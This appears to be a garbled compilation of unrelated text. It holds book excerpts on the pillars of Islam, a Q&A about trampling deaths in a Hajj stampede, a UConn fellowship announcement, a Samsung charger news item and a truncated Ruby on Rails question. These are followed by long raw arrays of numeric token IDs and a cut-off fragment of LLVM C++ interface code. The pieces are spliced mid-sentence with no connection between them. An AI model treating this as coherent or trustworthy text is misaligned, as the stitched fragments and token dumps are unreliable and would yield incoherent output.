is based upon the reported example of the Prophet. The word used is " Zakat," which..." 5.The Achehnese by Christiaan Snouck Hurgronje, Richard James Wilkinson (1906)"... of the Mohammedan confession of faith, the repetition of which constitutes the first "pillar" of Islam, and explained its meaning in simple language...." 6.Islam and Christianity in India and the Far East by Elwood Morris Wherry (1907)"... truth of the divine unity and of man's dependence upon God, as seen in the throne verse just now quoted. The second great pillar of Islam is the..." 7.The Living Age by Making of America Project, Eliakim Littell, Robert S. Littell (1889)"Under the Iranian Samanid dynasty, who ruled for a hundred and thirty years till 1000 AD, it was regarded as a pillar of Islam and as the pride of Asia...."Q: What happens if you kill someone during Hajj? Salam, As most of you are aware, this years' Hajj had many deaths due to the stampede. Approximately 717 people died in this event. My question is, if someone did kill another Muslim during this stampede, is there Hajj accepted? By kill, I don't mean physically attacking someone, I mean if someone trampled over someone with the intention to get passed them in order to complete their Hajj (if that makes sense?). A: In the name of Allah In regard to your question What happens if you kill someone during Hajj? In such situation as you said “if you kill someone during Hajj?” it seems invalidates the hajj. Of course in regard to this matter as you said: if someone trampled over someone with the intention to get passed them in order to complete their Hajj," I didn’t find this item as a Mubtalat of the Haj in exactly the same item. On the other hand, in the mentioned situation (as you said trampling on other Hojaj), occasionally some people hurry up in order to do their haj faster, then unintentionally it could be happened because of the population. But I assume it can be impermissible and even invalidates the Haj if someone do it intentionally. But in the above-mentioned example (this year, Haj), we’d better not to accuse the Hojaj directly, since as much as I find out, it is happened due to the lack of a good management in that position by the persons in charge that apparently some responsible closed a way of the Hojaj, then Hojaj went in an awful situation unintentionally, afterwards… Hence it doesn’t seem to invalidate the haj of the hojaj who unintentionally encountered with this situation... Of course generally (except this year accident) it can be impermissible for hojaj to annoy other hojaj by trampling as you mentioned (intentionally). But concerning the initial part of your question as you mentioned “Approximately 717 people died in this event.” Seemingly there are different statistics about it. Actually as much as I searched, it is said between 769 to more than 4100 people have been killed (according to different sources). Conclusion: It could be impermissible if Hojaj trample on other Hojaj intentionally. (Although majority of them or even all of them will observe the right of other Hojaj.) God Bless You References: www.imam-khomeini.ir www.bbc.com/persian fa.wikipedia.org www.iqna.ir Language Plasticity: Genes, Brain, Cognition, Computation NSF-IGERT Ph.D. Fellowships at the University of Connecticut http://igert.cogsci.uconn.edu We are pleased to announce a new graduate training program at the University of Connecticut, funded by the U.S. National Science Foundation (NSF) Integrative Graduate Education and Research Traineeship (IGERT) program. We will admit 27 IGERT Fellows over the next 4 years. IGERT Fellows receive five years of full funding, including two years of NSF IGERT stipend ($30,000 per year) and three years at normal departmental levels. Trainees enter through any of 7 Ph.D. programs: Linguistics; Speech, Language, & Hearing Sciences; Physiology & Neurobiology; and 4 programs in Psychology: Behavioral Neuroscience, Clinical, Developmental, and Language & Cognition. (Note that NSF stipends are available only to U.S. citizens and permanent residents, but others can apply to the program and can receive full funding at standard departmental levels.) Trainees complete normal home department specialist training, but also a common core of 'Foundations' courses that provide them background in the fundamental ideas, methods, and terminology in each participating domain sufficient to allow them to work in collaborative, interdisciplinary teams. Course-based work is integrated with hands-on access to and training with cutting edge tools for neuroscience, cognitive neuroscience, genetics, and computational modeling. Why are we bringing together these areas in our training program? Unifying cognitive and biological approaches will allow language development, processing, and disorders (acquired and developmental) throughout the lifespan to be studied in the context of complex, dynamic interactions of genes, environment, neurobiology, cognition, and culture, affording new insights into the nature of language. Today, cognitive and biological fields are weakly linked. Cognitive domains coupled with Behavior Genetics provide correlational clues to possible genetic bases for language disorders; causality can begin to be assessed with true experiments with gene knock-out or knock-down animal models using methods of Behavioral and Molecular Neuroscience and Genetics (focusing on sensory and cognitive traits associated with language). Currently, such research focuses primarily on language disorders, and there is little transfer back from biological to cognitive domains. Our training program prepares a new generation of scientists not just to accelerate transfer between cognitive and biological domains, but to unify them, and realize the potential for biological approaches to inform not just the bases of disorders, but the bases of mechanisms supporting language plasticity and cognitive and computational theories of language development and processing more generally. Opportunities. In addition to NSF Fellowships, funds are available to support research costs, international internships with partners in Europe and Asia, and trainees have access to leading scientists and state-of-the-art laboratories. Diversity. We share NSF's mission to increase participation in science by underrepresented groups. UConn and our IGERT provide mentoring and support systems for all Ph.D. students, with particular attention to the concerns of underrepresented groups. Women, minorities, and Deaf individuals are especially encouraged to apply. http://igert.cogsci.uconn.edu http://linguistics.uconn.eduWireless charging is a huge quality-of-life upgrade, and Samsung knows it. That's why the company (briefly) showed off its new Wireless Charger Duo onstage at the Galaxy Note 9 event this morning. Like the rumors suggested, this pair of power pads can charge the Galaxy Note 9 and Galaxy Watch simultaneously. The Wireless Charger Duo is now available to order in Black for $120, with shipping listed as "7 to 10 business days."Q: Ruby on Rails: has_many self join Rails 5. I have been trying to create a self referencing has_many relationship based on this tutorial: https://medium.com/@jbmilgrom/active-record-many-to-many-self-join-table-e0992c27c1e (the last piece: Has_many | Has_many — Self Join Table) I also see various threads here about this concept but I'm still a little lost when it comes to my problem and its terminology. And I am not sure what the database should look like. I should also mention that I am very new to Rails. I am trying to create'representative' -'represented' relationship between Users. A User can be represented by many Users (User has_many Representatives). And a User can represent many Users (User has_many Represented). Based on the tutorial in the link above I wrote my User model like this: class User < ApplicationRecord has_many :representatives, through: :representive_link, source: :representative has_many :representive_link, foreign_key: :represented_user_id, class_name:'representatives' has_many :represented, through: :represented_link, source: :represented has_many :represented_link, foreign_key: :representative_user_id, class_name:'representatives' end Then I created a representatives table like so (I called it representatives but its really the group of representatives and represented): class Representatives < ActiveRecord::Base belongs_to :representative, foreign_key:'representative_user_id', class_name: 'User' belongs_to :represented, foreign_key:'represented_user_id', class_name: 'User' end I also created a representatives table in the database which looks like this: +----------------------+------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +----------------------+------------+------+-----+---------+----------------+

[ 13, 19866, 274, 12018, 2241, 708, 2354, 13, 187, 50254, 50270, 50276, 43536, 15554, 708, 1934, 13, 17661, 20607, 6074, 475, 14135, 42, 13, 187, 50254, 50270, 50276, 19307, 1080, 14444, 475, 15580, 13, 187, 50254, 50270, 50276, 1030, 32057, 11501, 6074, 475, 5696, 42, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 11499, 254, 23064, 9038, 5279, 22098, 300, 14873, 9, 45, 13, 13092, 13, 6725, 13, 11940, 13, 308, 18206, 13, 28018, 13, 12226, 42, 558, 187, 50276, 94, 187, 50276, 10975, 310, 49883, 4717, 3351, 8613, 9, 565, 1540, 64, 85, 17573, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 49883, 4717, 3351, 8613, 9, 36735, 558, 187, 50276, 94, 187, 50276, 10975, 310, 49883, 1864, 2503, 3351, 8613, 9, 565, 1540, 64, 85, 17573, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 49883, 1864, 2503, 3351, 8613, 9, 36735, 558, 187, 50276, 94, 187, 50276, 10975, 310, 49883, 12236, 272, 10715, 9, 2548, 475, 31742, 13, 11841, 3902, 475, 8932, 31073, 13, 540, 1540, 64, 85, 11760, 13736, 13, 187, 50254, 50274, 7301, 14026, 8932, 5785, 13, 540, 1540, 64, 85, 14446, 13, 187, 50254, 50274, 10698, 5733, 83, 16929, 13, 187, 50254, 50274, 41959, 475, 42, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 49883, 12236, 272, 10715, 9, 31742, 13, 11760, 31073, 13, 11760, 13736, 13, 14026, 8932, 5785, 13, 187, 50254, 50266, 50276, 20359, 13, 5733, 83, 16929, 13, 309, 558, 187, 50276, 94, 187, 50276, 10975, 310, 45, 7611, 25997, 28274, 9, 12168, 22904, 6074, 1450, 45, 7611, 25997, 708, 36, 18, 13, 187, 50257, 12168, 22904, 6074, 1450, 45, 7611, 25997, 708, 36, 19, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 45, 7611, 25997, 28274, 9, 36, 18, 13, 330, 19, 558, 187, 50276, 94, 187, 50276, 10975, 476, 13815, 287, 39, 2327, 36, 2503, 1082, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 5092, 13815, 287, 39, 2327, 36, 2503, 1874, 187, 50276, 94, 187, 50276, 10975, 476, 17964, 36, 2503, 9, 29724, 475, 45, 13, 25474, 10548, 1401, 6159, 13, 187, 50254, 29094, 12018, 2241, 475, 2354, 13, 187, 50254, 29724, 6074, 475, 18206, 13, 19307, 1080, 14444, 475, 15580, 13, 43536, 15554, 475, 1934, 13, 187, 50254, 12168, 20607, 6074, 475, 19467, 6074, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 5092, 17964, 36, 2503, 9, 45, 13, 28885, 13, 6725, 13, 13092, 13, 28018, 13, 11940, 13, 9271, 6074, 558, 187, 50276, 94, 187, 50276, 10975, 943, 39, 15100, 8983, 29228, 1082, 1030, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 11425, 39, 15100, 8983, 29228, 1874, 187, 50276, 94, 187, 50276, 10975, 943, 39, 15100, 8116, 13057, 6060, 9, 3474, 32057, 475, 45, 10, 1030, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 11425, 39, 15100, 8116, 13057, 6060, 9, 45, 558, 187, 50276, 94, 187, 50276, 10975, 310, 49883, 17031, 264, 15900, 9, 2548, 475, 3233, 2548, 13, 8948, 42792, 1219, 5930, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 49883, 17031, 264, 15900, 9, 3233, 2548, 13, 1219, 5930, 558, 187, 50276, 94, 187, 50276, 10975, 310, 49883, 17031, 264, 9624, 9, 2548, 475, 3233, 2548, 13, 8948, 42792, 1219, 5930, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 49883, 17031, 264, 9624, 9, 3233, 2548, 13, 1219, 5930, 558, 187, 50276, 94, 187, 50276, 10975, 310, 49883, 6369, 15900, 9, 2548, 475, 3233, 2548, 13, 1219, 525, 1219, 5930, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 49883, 6369, 15900, 9, 3233, 2548, 13, 1219, 5930, 558, 187, 50276, 94, 187, 50276, 10975, 310, 49883, 6369, 9624, 9, 2548, 475, 3233, 2548, 13, 1219, 525, 1219, 5930, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 49883, 6369, 9624, 9, 3233, 2548, 13, 1219, 5930, 558, 187, 50276, 94, 187, 50276, 10975, 310, 49883, 17031, 264, 4316, 2569, 9, 2548, 475, 3233, 2548, 13, 8948, 42792, 1219, 5930, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 49883, 17031, 264, 4316, 2569, 9, 3233, 2548, 13, 1219, 5930, 558, 187, 50276, 94, 187, 50276, 10975, 310, 49883, 17031, 264, 40, 1226, 9, 2548, 475, 3233, 2548, 13, 8948, 42792, 1219, 5930, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 49883, 17031, 264, 40, 1226, 9, 3233, 2548, 13, 1219, 5930, 558, 187, 50276, 94, 187, 50276, 10975, 310, 49883, 17031, 264, 5065, 560, 15900, 9, 2548, 475, 3233, 2548, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 49883, 17031, 264, 5065, 560, 15900, 9, 3233, 2548, 558, 187, 50276, 94, 187, 50276, 10975, 310, 49883, 17031, 264, 12897, 9624, 9, 2548, 475, 3233, 2548, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 49883, 17031, 264, 12897, 9624, 9, 3233, 2548, 558, 187, 50276, 94, 187, 50276, 10975, 556, 15187, 8494, 12535, 9, 2548, 475, 3233, 2548, 13, 7301, 1680, 52, 1300, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 7110, 15187, 8494, 12535, 9, 3233, 2548, 13, 1680, 52, 1300, 558, 187, 50276, 94, 187, 50276, 10975, 556, 15271, 12596, 40734, 9, 10548, 2705, 475, 42, 13, 10698, 5733, 83, 16929, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 7110, 15271, 12596, 40734, 9, 42, 13, 5733, 83, 16929, 558, 187, 50276, 94, 187, 50276, 10975, 41469, 15219, 1025, 12236, 272, 1082, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 11499, 398, 15219, 1025, 12236, 272, 1874, 187, 50276, 94, 187, 50276, 565, 755, 20480, 272, 17070, 25997, 9, 2548, 475, 31742, 13, 11841, 3902, 475, 8932, 31073, 13, 540, 1540, 64, 85, 11760, 13736, 13, 187, 50254, 50275, 10975, 14026, 8932, 5785, 13, 540, 1540, 64, 85, 14446, 13, 187, 50254, 50275, 10790, 5733, 83, 16929, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 788, 20480, 272, 17070, 25997, 9, 31742, 13, 11760, 31073, 13, 11760, 13736, 13, 14026, 8932, 5785, 13, 187, 50254, 50266, 14446, 13, 5733, 83, 16929, 558, 187, 50276, 94, 187, 50276, 10975, 418, 7611, 3378, 39616, 3864, 12395, 1082, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 45, 7611, 3378, 39616, 3864, 12395, 1874, 187, 50276, 94, 187, 50276, 10975, 310, 2290, 7157, 366, 14344, 9, 2548, 475, 31742, 18, 13, 8078, 475, 31742, 19, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 2290, 7157, 366, 14344, 9, 31742, 18, 13, 16639, 19, 558, 187, 50276, 94, 187, 50276, 10975, 310, 44800, 7116, 1992, 24721, 382, 9, 10548, 2705, 475, 42, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 44800, 7116, 1992, 24721, 382, 9, 42, 558, 187, 50276, 94, 187, 50276, 10975, 897, 2446, 1082, 12970, 551, 1091, 3173, 446, 15, 2327, 2446, 1874, 748, 187, 50276, 10975, 310, 2548, 49883, 9, 2548, 475, 31742, 10, 12970, 551, 1091, 3173, 446, 15, 261, 2548, 49883, 9, 31742, 558, 748, 187, 50276, 10975, 943, 10987, 48061, 29153, 1082, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 11425, 10987, 48061, 29153, 1874, 187, 50276, 94, 187, 50276, 10975, 943, 10987, 48061, 29153, 2214, 29080, 9, 29080, 475, 36, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 11425, 10987, 48061, 29153, 2214, 29080, 9, 36, 558, 187, 50276, 94, 187, 50276, 10975, 897, 50184, 2648, 2214, 50184, 7865, 9, 11594, 708, 39, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 2327, 50184, 2648, 2214, 50184, 7865, 9, 39, 558, 187, 50276, 94, 535, 50276, 10790, 755, 29094, 1320, 5279, 2522, 9, 2548, 475, 31742, 13, 7301, 33340, 13, 187, 50254, 50266, 10975, 46685, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 788, 29094, 1320, 5279, 2522, 9, 31742, 13, 33340, 13, 46685, 558, 187, 50276, 94, 187, 50276, 10790, 755, 10996, 2287, 29094, 1320, 5279, 2522, 9, 6542, 7676, 29, 3474, 11740, 475, 31, 1780, 5943, 13, 187, 50254, 252, 50264, 50276, 10790, 657, 39, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 788, 10996, 2287, 29094, 1320, 5279, 2522, 9, 16523, 13, 657, 39, 558, 187, 50276, 94, 535, 50276, 10975, 8525, 38, 2276, 15219, 7050, 9624, 15900, 1082, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 4032, 8707, 38, 2276, 15219, 7050, 9624, 15900, 1874, 187, 50276, 94, 535, 50276, 10975, 8046, 35619, 8122, 6504, 282, 3292, 9, 10975, 32057, 15413, 10252, 86, 960, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 14760, 35619, 8122, 6504, 282, 3292, 9, 29724, 15413, 10252, 86, 960, 558, 187, 50276, 94, 187, 50276, 10267, 36, 2503, 48731, 10976, 8046, 10267, 36, 2503, 48731, 9, 10975, 12551, 5496, 13, 187, 50254, 979, 50263, 209, 7301, 1680, 26561, 36, 2503, 10, 1030, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 14760, 10267, 36, 2503, 48731, 9, 13967, 5496, 13, 1680, 26561, 36, 2503, 558, 187, 50276, 94, 187, 50276, 10975, 8046, 6504, 282, 9367, 11501, 15219, 1320, 1082, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 14760, 6504, 282, 9367, 11501, 15219, 1320, 1874, 187, 50276, 94, 187, 50276, 10975, 8046, 17031, 264, 6504, 282, 9367, 11501, 15219, 1320, 1082, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 14760, 17031, 264, 6504, 282, 9367, 11501, 15219, 1320, 1874, 187, 50276, 94, 187, 50276, 10975, 310, 7073, 15219, 1320, 29255, 4303, 28240, 8407, 1082, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 7073, 15219, 1320, 29255, 4303, 28240, 8407, 1874, 187, 50276, 94, 187, 50276, 10975, 4483, 46, 261, 2132, 21911, 11501, 265, 9, 2293, 11804, 5856, 708, 5856, 13, 187, 50254, 50266, 50276, 10790, 10210, 12175, 13, 10698, 22483, 16929, 13, 187, 50254, 50266, 50276, 10790, 1219, 5930, 13, 7301, 475, 29760, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 42905, 46, 261, 2132, 21911, 11501, 265, 9, 5856, 13, 10210, 12175, 13, 22483, 16929, 13, 187, 50254, 979, 50263, 209, 1219, 5930, 13, 20715, 558, 187, 50276, 94, 187, 50276, 14918, 26950, 22032, 18808, 755, 14918, 26950, 22032, 9, 10790, 4458, 31742, 12175, 688, 12871, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 788, 14918, 26950, 22032, 9, 4807, 31742, 12175, 688, 12871, 558, 187, 50276, 94, 187, 50276, 10975, 452, 29760, 52, 2274, 9, 2548, 475, 31742, 10, 12970, 551, 1091, 3173, 446, 15, 9802, 29760, 52, 2274, 9, 31742, 558, 748, 535, 50276, 10975, 310, 6739, 2503, 45435, 6892, 6653, 45175, 6739, 2503, 26561, 9, 2548, 475, 31742, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 261, 6739, 2503, 45435, 6892, 6653, 45175, 6739, 2503, 26561, 9, 31742, 558, 187, 50276, 94, 535, 50276, 565, 755, 39, 5964, 81, 25997, 9, 2548, 475, 31742, 10, 12970, 551, 1091, 3173, 446, 15, 788, 39, 5964, 81, 25997, 9, 31742, 558, 748, 535, 50276, 565, 755, 4807, 36735, 6124, 5496, 25997, 9, 10790, 473, 5902, 13, 10698, 4031, 89, 13, 1030, 4097, 4807, 708, 36735, 13, 187, 50254, 50274, 2548, 475, 31742, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 788, 4807, 36735, 6124, 5496, 25997, 9, 48, 5902, 13, 4031, 89, 13, 17573, 13, 16639, 558, 187, 50276, 94, 187, 50276, 565, 755, 4807, 36735, 25997, 9, 3474, 4097, 4807, 708, 36735, 13, 8078, 475, 31742, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 788, 4807, 36735, 25997, 9, 36735, 13, 16639, 558, 187, 50276, 94, 187, 50276, 565, 755, 4807, 36735, 25997, 10548, 9, 10790, 473, 5902, 13, 10698, 4031, 89, 13, 1030, 4097, 4807, 708, 36735, 13, 187, 50254, 2548, 475, 31742, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 788, 4807, 36735, 25997, 10548, 9, 48, 5902, 13, 4031, 89, 13, 17573, 13, 16639, 558, 187, 50276, 94, 187, 50276, 565, 755, 4807, 36735, 25997, 43598, 249, 9, 43598, 12003, 1450, 1838, 309, 1838, 13, 10698, 4031, 89, 13, 1030, 4097, 4807, 708, 36735, 13, 187, 50254, 50276, 2548, 475, 31742, 10, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 788, 4807, 36735, 25997, 43598, 249, 9, 42, 1838, 13, 4031, 89, 13, 17573, 13, 16639, 558, 187, 50276, 94, 187, 50276, 10790, 755, 8447, 4527, 5785, 8328, 9, 10790, 6550, 1838, 10, 1030, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 788, 8447, 4527, 5785, 8328, 9, 4947, 1838, 558, 187, 50276, 94, 187, 50276, 10790, 755, 16601, 4947, 2214, 2548, 9, 10975, 17811, 13, 8078, 475, 31742, 426, 28471, 10, 1030, 12970, 551, 187, 50274, 2309, 3173, 446, 15, 788 ]

, ScalarEvolution &SE, AssumptionCache &AC, TargetLibraryInfo *TLI, DominatorTree *DT, const LoopAccessInfo *LAI) override { return Impl.preferPredicateOverEpilogue(L, LI, SE, AC, TLI, DT, LAI); } bool isLegalAddImmediate(int64_t Imm) override { return Impl.isLegalAddImmediate(Imm); } bool isLegalICmpImmediate(int64_t Imm) override { return Impl.isLegalICmpImmediate(Imm); } bool isLegalAddressingMode(Type *Ty, GlobalValue *BaseGV, int64_t BaseOffset, bool HasBaseReg, int64_t Scale, unsigned AddrSpace, Instruction *I) override { return Impl.isLegalAddressingMode(Ty, BaseGV, BaseOffset, HasBaseReg, Scale, AddrSpace, I); } bool isLSRCostLess(TargetTransformInfo::LSRCost &C1, TargetTransformInfo::LSRCost &C2) override { return Impl.isLSRCostLess(C1, C2); } bool canMacroFuseCmp() override { return Impl.canMacroFuseCmp(); } bool canSaveCmp(Loop *L, BranchInst **BI, ScalarEvolution *SE, LoopInfo *LI, DominatorTree *DT, AssumptionCache *AC, TargetLibraryInfo *LibInfo) override { return Impl.canSaveCmp(L, BI, SE, LI, DT, AC, LibInfo); } bool shouldFavorPostInc() const override { return Impl.shouldFavorPostInc(); } bool shouldFavorBackedgeIndex(const Loop *L) const override { return Impl.shouldFavorBackedgeIndex(L); } bool isLegalMaskedStore(Type *DataType, MaybeAlign Alignment) override { return Impl.isLegalMaskedStore(DataType, Alignment); } bool isLegalMaskedLoad(Type *DataType, MaybeAlign Alignment) override { return Impl.isLegalMaskedLoad(DataType, Alignment); } bool isLegalNTStore(Type *DataType, Align Alignment) override { return Impl.isLegalNTStore(DataType, Alignment); } bool isLegalNTLoad(Type *DataType, Align Alignment) override { return Impl.isLegalNTLoad(DataType, Alignment); } bool isLegalMaskedScatter(Type *DataType, MaybeAlign Alignment) override { return Impl.isLegalMaskedScatter(DataType, Alignment); } bool isLegalMaskedGather(Type *DataType, MaybeAlign Alignment) override { return Impl.isLegalMaskedGather(DataType, Alignment); } bool isLegalMaskedCompressStore(Type *DataType) override { return Impl.isLegalMaskedCompressStore(DataType); } bool isLegalMaskedExpandLoad(Type *DataType) override { return Impl.isLegalMaskedExpandLoad(DataType); } bool hasDivRemOp(Type *DataType, bool IsSigned) override { return Impl.hasDivRemOp(DataType, IsSigned); } bool hasVolatileVariant(Instruction *I, unsigned AddrSpace) override { return Impl.hasVolatileVariant(I, AddrSpace); } bool prefersVectorizedAddressing() override { return Impl.prefersVectorizedAddressing(); } int getScalingFactorCost(Type *Ty, GlobalValue *BaseGV, int64_t BaseOffset, bool HasBaseReg, int64_t Scale, unsigned AddrSpace) override { return Impl.getScalingFactorCost(Ty, BaseGV, BaseOffset, HasBaseReg, Scale, AddrSpace); } bool LSRWithInstrQueries() override { return Impl.LSRWithInstrQueries(); } bool isTruncateFree(Type *Ty1, Type *Ty2) override { return Impl.isTruncateFree(Ty1, Ty2); } bool isProfitableToHoist(Instruction *I) override { return Impl.isProfitableToHoist(I); } bool useAA() override { return Impl.useAA(); } bool isTypeLegal(Type *Ty) override { return Impl.isTypeLegal(Ty); } bool shouldBuildLookupTables() override { return Impl.shouldBuildLookupTables(); } bool shouldBuildLookupTablesForConstant(Constant *C) override { return Impl.shouldBuildLookupTablesForConstant(C); } bool useColdCCForColdCall(Function &F) override { return Impl.useColdCCForColdCall(F); } unsigned getScalarizationOverhead(Type *Ty, bool Insert, bool Extract) override { return Impl.getScalarizationOverhead(Ty, Insert, Extract); } unsigned getOperandsScalarizationOverhead(ArrayRef<const Value *> Args, unsigned VF) override { return Impl.getOperandsScalarizationOverhead(Args, VF); } bool supportsEfficientVectorElementLoadStore() override { return Impl.supportsEfficientVectorElementLoadStore(); } bool enableAggressiveInterleaving(bool LoopHasReductions) override { return Impl.enableAggressiveInterleaving(LoopHasReductions); } MemCmpExpansionOptions enableMemCmpExpansion(bool OptSize, bool IsZeroCmp) const override { return Impl.enableMemCmpExpansion(OptSize, IsZeroCmp); } bool enableInterleavedAccessVectorization() override { return Impl.enableInterleavedAccessVectorization(); } bool enableMaskedInterleavedAccessVectorization() override { return Impl.enableMaskedInterleavedAccessVectorization(); } bool isFPVectorizationPotentiallyUnsafe() override { return Impl.isFPVectorizationPotentiallyUnsafe(); } bool allowsMisalignedMemoryAccesses(LLVMContext &Context, unsigned BitWidth, unsigned AddressSpace, unsigned Alignment, bool *Fast) override { return Impl.allowsMisalignedMemoryAccesses(Context, BitWidth, AddressSpace, Alignment, Fast); } PopcntSupportKind getPopcntSupport(unsigned IntTyWidthInBit) override { return Impl.getPopcntSupport(IntTyWidthInBit); } bool haveFastSqrt(Type *Ty) override { return Impl.haveFastSqrt(Ty); } bool isFCmpOrdCheaperThanFCmpZero(Type *Ty) override { return Impl.isFCmpOrdCheaperThanFCmpZero(Ty); } int getFPOpCost(Type *Ty) override { return Impl.getFPOpCost(Ty); } int getIntImmCodeSizeCost(unsigned Opc, unsigned Idx, const APInt &Imm, Type *Ty) override { return Impl.getIntImmCodeSizeCost(Opc, Idx, Imm, Ty); } int getIntImmCost(const APInt &Imm, Type *Ty) override { return Impl.getIntImmCost(Imm, Ty); } int getIntImmCostInst(unsigned Opc, unsigned Idx, const APInt &Imm, Type *Ty) override { return Impl.getIntImmCostInst(Opc, Idx, Imm, Ty); } int getIntImmCostIntrin(Intrinsic::ID IID, unsigned Idx, const APInt &Imm, Type *Ty) override { return Impl.getIntImmCostIntrin(IID, Idx, Imm, Ty); } unsigned getNumberOfRegisters(unsigned ClassID) const override { return Impl.getNumberOfRegisters(ClassID); } unsigned getRegisterClassForType(bool Vector, Type *Ty = nullptr) const override { return Impl.get

[ 1552, 310, 253, 13631, 5406, 273, 13089, 44987, 534, 253, 26153, 860, 5861, 27, 247, 1429, 17800, 562, 275, 253, 3644, 13, 22802, 432, 3722, 285, 3515, 949, 253, 1984, 14, 68, 3358, 1314, 47406, 273, 247, 43976, 4182, 2419, 2819, 323, 3095, 13, 3780, 13, 281, 9667, 779, 984, 344, 2550, 1086, 6894, 275, 8658, 13508, 3000, 15, 187, 187, 1719, 329, 5642, 21247, 13, 344, 1057, 417, 1132, 15, 187, 187, 688, 253, 4055, 273, 253, 6278, 275, 2667, 70, 317, 627, 310, 247, 1149, 408, 26410, 15, 1244, 327, 253, 10699, 273, 247, 2419, 2822, 23431, 2555, 279, 434, 1128, 8656, 598, 13, 17421, 253, 24396, 10015, 285, 34577, 273, 3289, 5308, 1128, 9088, 310, 1529, 47485, 432, 2098, 661, 273, 5534, 285, 247, 6951, 27, 346, 55, 587, 30845, 41965, 1476, 253, 2151, 11557, 347, 597, 7450, 616, 346, 40312, 14381, 3, 3579, 15, 346, 21727, 9306, 285, 8106, 5492, 2, 496, 253, 1416, 273, 17843, 13, 3150, 1476, 187, 187, 3, 4041, 625, 2774, 13, 38321, 253, 12138, 890, 254, 1476, 247, 2872, 3226, 31791, 347, 703, 23490, 281, 2740, 1959, 13, 14270, 5972, 285, 10805, 281, 617, 15746, 15, 346, 795, 3546, 6443, 64, 795, 328, 64, 795, 25094, 26200, 346, 703, 2318, 6594, 13, 34452, 281, 320, 30979, 8502, 22825, 327, 253, 32973, 15, 1198, 253, 36285, 273, 7406, 34594, 556, 816, 644, 11407, 285, 617, 1390, 3000, 452, 2489, 247, 17877, 16391, 275, 247, 2471, 14, 10600, 16187, 2659, 15, 187, 187, 29140, 23431, 2555, 279, 310, 417, 17875, 323, 824, 3958, 15, 754, 310, 1512, 7156, 90, 390, 2010, 1128, 8701, 643, 1930, 1128, 248, 310, 1512, 4956, 285, 3511, 14, 5142, 11712, 281, 564, 2112, 342, 667, 2165, 1160, 598, 407, 2571, 15, 380, 2151, 12009, 253, 1863, 27914, 5006, 342, 521, 1781, 3644, 2927, 285, 6966, 273, 2806, 4707, 285, 12680, 2048, 15, 1244, 344, 7819, 432, 731, 347, 973, 13, 1469, 521, 1211, 1039, 15, 187, 187, 8389, 3392, 310, 1620, 1728, 15, 496, 2069, 824, 347, 841, 13, 352, 310, 417, 3477, 323, 247, 5098, 7707, 281, 34298, 15, 6491, 4510, 247, 4667, 273, 12682, 390, 247, 34890, 939, 90, 11152, 281, 5098, 15, 329, 1930, 273, 9132, 310, 625, 281, 253, 1127, 685, 253, 15799, 273, 253, 36452, 390, 5536, 14118, 432, 253, 6105, 24593, 15, 187, 187, 43453, 310, 9101, 15, 380, 1270, 3554, 382, 31274, 10225, 1321, 310, 2197, 281, 2471, 342, 253, 5139, 254, 13, 795, 510, 15033, 556, 642, 878, 273, 368, 26200, 14673, 382, 13, 24072, 13, 29875, 1128, 455, 3150, 281, 253, 1072, 35531, 15, 380, 39011, 757, 12776, 41845, 292, 13, 5747, 521, 22564, 40372, 263, 13, 310, 47214, 751, 247, 4956, 5893, 15, 5952, 17197, 275, 253, 31504, 13, 439, 25383, 407, 521, 3858, 13, 320, 13073, 285, 275, 391, 3544, 13, 344, 1335, 869, 6168, 1037, 26986, 2706, 521, 7714, 13, 795, 52, 48411, 273, 247, 23041, 5270, 273, 253, 28225, 273, 253, 8801, 14559, 8291, 247, 789, 344, 588, 1379, 342, 779, 281, 253, 32973, 15, 733, 310, 247, 673, 417, 323, 11727, 13, 533, 323, 2250, 15, 1244, 594, 13, 23431, 2555, 279, 268, 10133, 13, 48682, 1428, 5098, 7707, 13, 3936, 281, 253, 13939, 15, 187, 187, 36751, 44987, 8, 3101, 13, 35956, 1070, 407, 31747, 1204, 13, 30885, 617, 1897, 387, 247, 3497, 37159, 253, 6891, 8805, 33924, 15, 4952, 1078, 